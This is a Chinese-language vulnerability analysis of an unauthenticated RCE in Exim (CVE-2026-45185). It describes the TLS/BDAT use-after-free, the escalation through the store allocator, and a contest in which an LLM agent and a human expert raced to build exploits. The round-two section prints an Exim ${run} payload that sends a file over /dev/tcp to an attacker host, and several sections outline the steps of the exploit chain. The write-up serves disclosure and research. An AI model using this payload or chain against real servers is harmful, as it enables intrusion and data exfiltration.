Dead.Letter: 分析 Exim 中的未經身份驗證 RCE (CVE-2026-45185)

Dead.Letter: 分析 Exim 中的未經身份驗證 RCE (CVE-2026-45185)

CVE-2026-45185 的發現揭示了 Exim 中一個關鍵的未經身份驗證遠端程式碼執行 (RCE) 漏洞,Exim 是類 Unix 系統中最廣泛使用的郵件傳輸代理 (MTA) 之一。

除了該漏洞的技術嚴重性外,其披露過程也作為一場獨特的實驗:一場由資深人類漏洞開發者與自主式 LLM 驅動系統 (XBOW Native) 之間的競賽,旨在觀察誰能率先開發出可運行的概念驗證 (PoC)。

漏洞分析:從單位元組寫入到災難

CVE-2026-45185 是一個使用後釋放 (use-after-free, UAF) 漏洞,發生在 TLS 連線由 GnuTLS(許多 Debian 系發行版的預設函式庫)處理時。

觸發機制

該漏洞源於 Exim 在會話關閉期間處理從 TLS 到明文轉換的方式。當 TLS 連線關閉時,Exim 會呼叫 tls_close(),該函式會釋放 xfer_buffer(一個用於解密的 4096 位元組明文區域)。然而,如果伺服器目前正在處理 BDAT (RFC 3030 CHUNKING) 操作,解析器會處於模態狀態 (modal state)。

Exim 使用接收函式的堆疊。當 BDAT 處於活動狀態時,它會將 BDAT 特有的封裝函式 (wrappers) 推入堆疊,這些封裝函式進而呼叫底層的 TLS 函式。至關重要的是,tls_close() 會將頂層接收回呼函式還原為明文 SMTP 函式,但無法清除較低層級的 BDAT 封裝函式

這創造了一個窗口期:

  1. xfer_buffer 被釋放。
  2. BDAT 封裝函式仍處於活動狀態,且仍指向 tls_ungetc
  3. 如果 BDAT 解析器遇到缺失的 CRLF,它會呼叫 bdat_ungetc(),進而觸發 tls_ungetc()

由於 tls_ungetc 會使用過時的指標來將單個字元(通常是 \n\r)寫回 xfer_buffer,因此它會在已釋放的記憶體中執行一位元組的寫入。

提升攻擊原語 (Escalating the Primitive)

雖然一位元組的寫入看似微弱,但攻擊者利用此點來破壞 Exim 自定義記憶體配置器(稱為 store subsystem)的元數據 (metadata)。

Exim 使用基於池 (pool-based) 的增量配置器 (bump allocator) 來管理短暫存在的物件。一個 storeblock 標頭由一個 next 指標和一個 length 欄位組成。透過精確計時 UAF 寫入以落在 storeblocklength 欄位上,攻擊者可以擴大感知到的記憶體池大小。這使得隨後的配置分配可以與堆積 (heap) 中的其他關鍵數據結構重疊,有效地將有限的寫入轉化為強大的記憶體損壞原語。

競賽:人類 vs. 機器

為了測試自主式漏洞開發的能力,研究人員將人類專家與基於 LLM 的代理 (agent) XBOW Native 進行了對決決賽。

第一輪:無 ASLR,無 PIE

在簡化的環境中(無位址空間配置隨機化 ASLR 或位置獨立執行檔 PIE),LLM 贏得了決定性的勝利。它繞過了 Exim 特有的配置器,轉而針對 glibc 內部機制。它破壞了 glibc 的 largebin 指標,將 malloc(4096) 呼叫重定向到攻擊者控制的位址,隨後覆蓋覆蓋了 FILE 結構體的 vtable,從而切換到 ROP chain,進而將系統 flag 傳出。

第二輪:啟用 ASLR

在啟用 ASLR 的情況下,LLM 轉變了策略,從 glibc 技巧轉向攻擊 Exim 自己的 store 配置器。它擴大了記憶體池的長度欄位,將該池作為可程式化的增量指標 (bump-pointer) 來在靜態記憶體中植入指標,隨後覆蓋覆蓋了 acl_smtp_predata 以執行惡意的 Exim expansion string:${run{/bin/bash -c 'cat</flag>/dev/tcp/$LHOST/$LPORT'}{accept}}

第三輪:實際生產環境目標

面對真實的生產環境版本,人類開發者透過識別 exim_sha_init 中的一個新記憶體消耗洩漏,獲得了更大的成功。透過使用 gnutls_hash_init 來消耗堆積空洞,人類開發者能夠建立一個確定的記憶體狀態,最終實現了堆疊指標洩漏——這是繞過完整 ASLR/PIE 保護的關鍵步驟。

關鍵洞察與總結

LLM 的能力與限制

實驗表明,LLM 在合成已知模式方面速度極快。LLM 的首次成功基本上是一種「CTF 風格」的漏洞利用,結合了 largebin 攻擊和在 CTF 比賽中常見的 FSOP (File Stream Oriented Programming) gadgets。

然而,人類開發者指出,「困難的部分仍然很困難」。真實世界的目標通常具有「雜訊」較多的堆積 (heaps) 和非預期的物件生命週期(例如 GnuTLS 證書結構,它們拒絕被釋放),這需要 LLM 目前所缺乏的直覺、懷疑精神以及手動除錯能力。

攻擊鏈技術總結

階段 行動 結果
觸發 BDAT 分塊期間的 TLS 關閉 xfer_buffer 被釋放,但 tls_ungetc 仍可觸及
破壞 呼叫 bdat_ungetc 在已釋放的 xfer_buffer 中進行一位元組寫入
提升 破壞 storeblock 長度 記憶體池擴張 $\rightarrow$ 越界 (OOB) 存取
執行 覆蓋 acl_smtp_predata 透過 ${run} 執行任意 Shell 命令

結論

CVE-2026-45185 凸顯了複雜的 C 語言軟體中持續存在的風險,其中模態狀態轉換(如 BDAT over TLS)可能導致細微的記憶體管理錯誤。雖然 LLM 可以現在「加速」漏洞研究的早期階段——幫助研究人員理解代碼並生成假設——但針對強化過的生產環境目標進行漏洞利用開發的最後一哩路,仍然需要人類專家的專業知識。

Sources